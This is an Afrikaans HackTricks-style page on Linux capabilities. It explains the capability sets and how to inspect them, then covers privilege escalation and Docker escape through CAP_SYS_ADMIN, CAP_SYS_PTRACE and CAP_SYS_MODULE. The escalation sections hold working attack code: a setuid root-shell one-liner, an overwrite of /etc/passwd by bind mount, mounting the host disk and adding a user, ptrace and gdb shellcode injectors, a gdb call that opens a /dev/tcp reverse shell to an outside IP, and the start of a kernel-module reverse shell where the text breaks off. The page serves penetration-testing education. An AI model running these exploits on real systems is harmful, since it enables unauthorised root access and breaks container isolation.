Linux Capabilities

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Linux Capabilities

Linux capabilities verdeel root bevoegdhede in kleiner, duidelike eenhede, wat dit moontlik maak dat prosesse ’n substel van bevoegdhede het. Dit minimaliseer die risiko’s deur nie volle root bevoegdhede onnodig toe te ken nie.

Die Probleem:

  • Normale gebruikers het beperkte toestemmings, wat take soos die opening van ’n netwerk socket wat root toegang vereis, beĂŻnvloed.

Bevoegdheidstelle:

  1. Geërfde (CapInh):
  • Doel: Bepaal die bevoegdhede wat van die ouer proses oorgedra word.
  • Funksionaliteit: Wanneer ’n nuwe proses geskep word, erf dit die bevoegdhede van sy ouer in hierdie stel. Nuttig om sekere bevoegdhede oor proses ontstaan te handhaaf.
  • Beperkings: ’n Proses kan nie bevoegdhede verkry wat sy ouer nie besit het nie.
  1. Effektief (CapEff):
  • Doel: Verteenwoordig die werklike bevoegdhede wat ’n proses op enige oomblik gebruik.
  • Funksionaliteit: Dit is die stel bevoegdhede wat deur die kernel nagegaan word om toestemming vir verskeie operasies te verleen. Vir lĂȘers kan hierdie stel ’n vlag wees wat aandui of die lĂȘer se toegelate bevoegdhede as effektief beskou moet word.
  • Belangrikheid: Die effektiewe stel is van kardinale belang vir onmiddellike bevoegdheidstoetsing, wat as die aktiewe stel van bevoegdhede dien wat ’n proses kan gebruik.
  1. Toegelaat (CapPrm):
  • Doel: Definieer die maksimum stel bevoegdhede wat ’n proses kan besit.
  • Funksionaliteit: ’n Proses kan ’n bevoegdheid van die toegelate stel na sy effektiewe stel verhoog, wat dit die vermoĂ« gee om daardie bevoegdheid te gebruik. Dit kan ook bevoegdhede uit sy toegelate stel laat val.
  • Grens: Dit dien as ’n boonste limiet vir die bevoegdhede wat ’n proses kan hĂȘ, wat verseker dat ’n proses nie sy vooraf gedefinieerde bevoegdheidsscope oorskry nie.
  1. Beperking (CapBnd):
  • Doel: Plaas ’n plafon op die bevoegdhede wat ’n proses ooit kan verkry gedurende sy lewensiklus.
  • Funksionaliteit: Selfs al het ’n proses ’n sekere bevoegdheid in sy geĂ«rfde of toegelate stel, kan dit nie daardie bevoegdheid verkry nie tensy dit ook in die beperkingstel is.
  • Gebruiksgval: Hierdie stel is veral nuttig om ’n proses se bevoegdheidseskalering potensiaal te beperk, wat ’n ekstra laag van sekuriteit toevoeg.
  1. Ambient (CapAmb):
  • Doel: Laat sekere bevoegdhede toe om oor ’n execve stelselsoproep gehandhaaf te word, wat tipies ’n volle reset van die proses se bevoegdhede sou veroorsaak.
  • Funksionaliteit: Verseker dat nie-SUID programme wat nie geassosieerde lĂȘer bevoegdhede het nie, sekere bevoegdhede kan behou.
  • Beperkings: Bevoegdhede in hierdie stel is onderhewig aan die beperkings van die geĂ«rfde en toegelate stelle, wat verseker dat hulle nie die proses se toegelate bevoegdhede oorskry nie.
# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Vir verdere inligting, kyk:

Prosesse & Binaries Vermoëns

Prosesse Vermoëns

Om die vermoĂ«ns vir ’n spesifieke proses te sien, gebruik die status lĂȘer in die /proc gids. Aangesien dit meer besonderhede verskaf, laat ons dit beperk tot die inligting wat verband hou met Linux vermoĂ«ns.
Let daarop dat vir alle lopende prosesse vermoĂ«nsinligting per draad gehandhaaf word, vir binaries in die lĂȘerstelsel word dit in uitgebreide eienskappe gestoor.

Jy kan die vermoëns wat in /usr/include/linux/capability.h gedefinieer is, vind.

Jy kan die vermoëns van die huidige proses vind in cat /proc/self/status of deur capsh --print te doen en van ander gebruikers in /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Hierdie opdrag behoort 5 lyne op die meeste stelsels te retourneer.

  • CapInh = GeĂ«rfde vermoĂ«ns
  • CapPrm = Toegelate vermoĂ«ns
  • CapEff = Effektiewe vermoĂ«ns
  • CapBnd = Beperkte stel
  • CapAmb = AmbiĂ«nte vermoĂ«ns stel
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Hierdie hexadesimale getalle maak nie sin nie. Deur die capsh-hulpmiddel te gebruik, kan ons hulle in die vermoënsnaam dekodeer.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Kom ons kyk nou na die capabilities wat deur ping gebruik word:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Alhoewel dit werk, is daar ’n ander en makliker manier. Om die vermoĂ«ns van ’n lopende proses te sien, gebruik eenvoudig die getpcaps hulpmiddel gevolg deur sy proses ID (PID). Jy kan ook ’n lys van proses ID’s verskaf.

getpcaps 1234

Laat ons hier die vermoĂ«ns van tcpdump nagaan nadat ons die binĂȘre genoeg vermoĂ«ns gegee het (cap_net_admin en cap_net_raw) om die netwerk te snuffel (tcpdump loop in proses 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Soos wat jy kan sien, stem die gegewe vermoĂ«ns ooreen met die resultate van die 2 maniere om die vermoĂ«ns van ’n binĂȘre te verkry.
Die getpcaps hulpmiddel gebruik die capget() stelselskakel om die beskikbare vermoĂ«ns vir ’n spesifieke draad te vra. Hierdie stelselskakel benodig slegs die PID om meer inligting te verkry.

BinĂȘre VermoĂ«ns

BinĂȘre kan vermoĂ«ns hĂȘ wat gebruik kan word terwyl dit uitgevoer word. Byvoorbeeld, dit is baie algemeen om ping binĂȘre met cap_net_raw vermoĂ« te vind:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Jy kan binaries met vermoëns soek met:

getcap -r / 2>/dev/null

Dropping capabilities with capsh

As ons die CAPNET_RAW vermoëns vir _ping laat val, dan behoort die ping nut nie meer te werk nie.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Behalwe die uitvoer van capsh self, behoort die tcpdump opdrag ook ’n fout te veroorsaak.

/bin/bash: /usr/sbin/tcpdump: Operasie nie toegelaat nie

Die fout toon duidelik dat die ping-opdrag nie toegelaat word om ’n ICMP-sok te open nie. Nou weet ons verseker dat dit werk soos verwag.

Verwyder Vermoëns

Jy kan vermoĂ«ns van ’n binĂȘre verwyder met

setcap -r </path/to/binary>

User Capabilities

Blykbaar is dit moontlik om vermoëns ook aan gebruikers toe te ken. Dit beteken waarskynlik dat elke proses wat deur die gebruiker uitgevoer word, die gebruiker se vermoëns sal kan gebruik.
Gebaseer op this, this en this moet ’n paar lĂȘers geconfigureer word om ’n gebruiker sekere vermoĂ«ns te gee, maar die een wat die vermoĂ«ns aan elke gebruiker toeken, sal wees /etc/security/capability.conf.
LĂȘer voorbeeld:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Omgewing Vermoëns

Deur die volgende program te kompileer, is dit moontlik om ’n bash-shel te genereer binne ’n omgewing wat vermoĂ«ns bied.

/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Binne die bash wat deur die gecompileerde omgewing binĂȘre uitgevoer word is dit moontlik om die nuwe vermoĂ«ns waar te neem (n ’n gewone gebruiker sal geen vermoĂ« in die “huidige” afdeling hĂȘ).

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Caution

Jy kan slegs vermoëns byvoeg wat teenwoordig is in beide die toegelate en die oorerflike stelle.

Vermoensbewuste/Vermoensdom binaries

Die vermoensbewuste binaries sal nie die nuwe vermoens wat deur die omgewing gegee word, gebruik nie, maar die vermoensdom binaries sal dit gebruik aangesien hulle dit nie sal verwerp nie. Dit maak vermoensdom binaries kwesbaar binne ’n spesiale omgewing wat vermoens aan binaries toeken.

Diensvermoens

Standaard sal ’n diens wat as root loop al die vermoens toegeken hĂȘ, en in sommige gevalle kan dit gevaarlik wees.
Daarom laat ’n dienskonfigurasie lĂȘer jou toe om die vermoens wat jy wil hĂȘ dit moet hĂȘ, en die gebruiker wat die diens moet uitvoer, te specifiseer om te verhoed dat ’n diens met onnodige voorregte gedraai word:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Vermoëns in Docker Houers

Deur standaard ken Docker ’n paar vermoĂ«ns aan die houers toe. Dit is baie maklik om te kyk watter vermoĂ«ns dit is deur die volgende opdrag te loop:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

Privesc/Container Escape

Vermogens is nuttig wanneer jy jou eie prosesse wil beperk nadat jy bevoorregte operasies uitgevoer het (bv. nadat jy chroot opgestel het en aan ’n sokket gebind het). Dit kan egter uitgebuit word deur kwaadwillige opdragte of argumente oor te dra wat dan as root uitgevoer word.

Jy kan vermogens op programme afdwing met setcap, en dit met getcap navraag doen:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

Die +ep beteken jy voeg die vermoĂ« (“-” sou dit verwyder) as Effektief en Toegelaat by.

Om programme in ’n stelsel of gids met vermoĂ«ns te identifiseer:

getcap -r / 2>/dev/null

Exploitasi voorbeel

In die volgende voorbeeld is die binĂȘre /usr/bin/python2.6 kwesbaar gevind vir privesc:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Vermoe wat deur tcpdump benodig word om enige gebruiker toe te laat om pakkette te snuffel:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

Die spesiale geval van “leĂ«â€ vermoĂ«ns

From the docs: Let daarop dat ’n mens leĂ« vermoĂ«ns aan ’n programlĂȘer kan toewys, en dus is dit moontlik om ’n set-user-ID-root program te skep wat die effektiewe en gestoor set-user-ID van die proses wat die program uitvoer na 0 verander, maar geen vermoĂ«ns aan daardie proses toeken nie. Of, eenvoudig gestel, as jy ’n binĂȘre het wat:

  1. nie aan root behoort nie
  2. geen SUID/SGID bits het nie
  3. leë vermoëns stel het (bv.: getcap myelf gee myelf =ep terug)

dan sal daardie binĂȘre as root loop.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is ’n hoogs kragtige Linux vermoĂ«, dikwels gelykgestel aan ’n naby-root vlak weens sy uitgebreide administratiewe voorregte, soos om toestelle te monteer of kernfunksies te manipuleer. Terwyl dit onontbeerlik is vir houers wat hele stelsels simuleer, verteenwoordig CAP_SYS_ADMIN beduidende sekuriteitsuitdagings, veral in gecontaineriseerde omgewings, weens sy potensiaal vir voorregverhoging en stelselskending. Daarom vereis die gebruik daarvan streng sekuriteitsassessering en versigtige bestuur, met ’n sterk voorkeur om hierdie vermoĂ« in toepassingspesifieke houers te laat vaar om die beginsel van die minste voorreg na te kom en die aanvaloppervlak te minimaliseer.

Voorbeeld met binĂȘre

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Met Python kan jy ’n gewysigde passwd lĂȘer bo-op die werklike passwd lĂȘer monteer:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

En laastens mount die gewysigde passwd lĂȘer op /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

En jy sal in staat wees om su as root te gebruik met die wagwoord “password”.

Voorbeeld met omgewing (Docker breek uit)

Jy kan die geaktiveerde vermoëns binne die docker houer nagaan met:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Binne die vorige uitset kan jy sien dat die SYS_ADMIN vermoë geaktiveer is.

  • Mount

Dit laat die docker-container toe om die gasheer skyf te monteer en dit vrylik te benader:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • Volle toegang

In die vorige metode het ons daarin geslaag om toegang tot die docker gasheer skyf te verkry.
In die geval dat jy vind dat die gasheer ’n ssh bediener draai, kan jy n gebruiker binne die docker gasheer skyf skep en dit via SSH benader:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Dit beteken dat jy die houer kan ontsnap deur ’n shellcode binne ’n proses wat binne die gasheer loop, in te spuit. Om toegang te verkry tot prosesse wat binne die gasheer loop, moet die houer ten minste met --pid=host gedraai word.

CAP_SYS_PTRACE verleen die vermoĂ« om debugging en stelselaanroep-tracing funksies te gebruik wat deur ptrace(2) en kruis-geheue aanroep soos process_vm_readv(2) en process_vm_writev(2) verskaf word. Alhoewel dit kragtig is vir diagnostiese en moniteringsdoeleindes, kan dit, indien CAP_SYS_PTRACE geaktiveer word sonder beperkende maatreĂ«ls soos ’n seccomp-filter op ptrace(2), die stelselsekuriteit aansienlik ondermyn. Spesifiek kan dit uitgebuit word om ander sekuriteitsbeperkings te omseil, veral diĂ© wat deur seccomp opgelĂȘ word, soos gedemonstreer deur bewyse van konsep (PoC) soos hierdie een.

Voorbeeld met binĂȘre (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Voorbeeld met binĂȘre (gdb)

gdb met ptrace vermoë:

/usr/bin/gdb = cap_sys_ptrace+ep

Skep ’n shellcode met msfvenom om in geheue te inspuit via gdb.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (-len(buf) % 8) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")

Debug ’n root-proses met gdb en kopieer-plak die voorheen gegenereerde gdb-lyne:

# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
set {long}($rip+8) = 0x5e016a5f026a9958
set {long}($rip+16) = 0x0002b9489748050f
set {long}($rip+24) = 0x48510b0e0a0a2923
set {long}($rip+32) = 0x582a6a5a106ae689
set {long}($rip+40) = 0xceff485e036a050f
set {long}($rip+48) = 0x6af675050f58216a
set {long}($rip+56) = 0x69622fbb4899583b
set {long}($rip+64) = 0x8948530068732f6e
set {long}($rip+72) = 0x050fe689485752e7
c' > commands.gdb
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) source commands.gdb
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

Voorbeeld met omgewing (Docker breekout) - Nog ’n gdb Misbruik

As GDB geĂŻnstalleer is (of jy kan dit installeer met apk add gdb of apt install gdb byvoorbeeld) kan jy ’n proses vanaf die gasheer debugeer en dit die system funksie laat aanroep. (Hierdie tegniek vereis ook die vermoĂ« SYS_ADMIN).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

U sal nie die uitvoer van die uitgevoerde opdrag kan sien nie, maar dit sal deur daardie proses uitgevoer word (so kry ’n rev shell).

Warning

As u die fout “No symbol “system” in current context.“ kry, kyk na die vorige voorbeeld wat ’n shellcode in ’n program via gdb laai.

Voorbeeld met omgewing (Docker breakout) - Shellcode Injeksie

U kan die geaktiveerde vermoëns binne die docker houer nagaan met:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

Lys prosesse wat in die gasheer loop ps -eaf

  1. Kry die argitektuur uname -m
  2. Vind ’n shellcode vir die argitektuur (https://www.exploit-db.com/exploits/41128)
  3. Vind ’n program om die shellcode in ’n proses se geheue te injekteer (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
  4. Wysig die shellcode binne die program en kompileer dit gcc inject.c -o inject
  5. Injekteer dit en gryp jou shell: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

CAP_SYS_MODULE bemagtig ’n proses om kernmodules te laai en te verwyder (init_module(2), finit_module(2) en delete_module(2) stelsels oproepe), wat direkte toegang tot die kern se kernbedrywighede bied. Hierdie vermoĂ« bied kritieke sekuriteitsrisiko’s, aangesien dit privilige-eskalasie en totale stelselskompromie moontlik maak deur wysigings aan die kern toe te laat, wat alle Linux-sekuriteitsmeganismes, insluitend Linux Security Modules en houer-isolasie, omseil. Dit beteken dat jy kernmodules in/uit die kern van die gasheer masjien kan invoeg/verwyder.

Voorbeeld met binĂȘre

In die volgende voorbeeld het die binĂȘre python hierdie vermoĂ«.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

Standaard, modprobe opdrag kyk vir afhanklikheidslys en kaartlĂȘers in die gids /lib/modules/$(uname -r).
Om hiervan misbruik te maak, laat ons ’n vals lib/modules gids skep:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

Dan kompyleer die kernmodule wat jy hieronder kan vind 2 voorbeelde en kopieer dit na hierdie gids:

cp reverse-shell.ko lib/modules/$(uname -r)/

Laastens, voer die nodige python kode uit om hierdie kernmodule te laai:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Voorbeeld 2 met binĂȘre

In die volgende voorbeeld het die binĂȘre kmod hierdie vermoĂ«.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

Wat beteken dat dit moontlik is om die opdrag insmod te gebruik om ’n kernmodule in te voeg. Volg die voorbeeld hieronder om ’n reverse shell te verkry deur hierdie voorreg te misbruik.

Voorbeeld met omgewing (Docker breek uit)

Jy kan die geaktiveerde vermoëns binne die docker houer nagaan met:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Binne die vorige uitset kan jy sien dat die SYS_MODULE vermoë geaktiveer is.

Skep die kernel module wat ’n omgekeerde skulp gaan uitvoer en die Makefile om dit te kompiler:

#include <linux/kmod.h>
#include <linux/module.h>
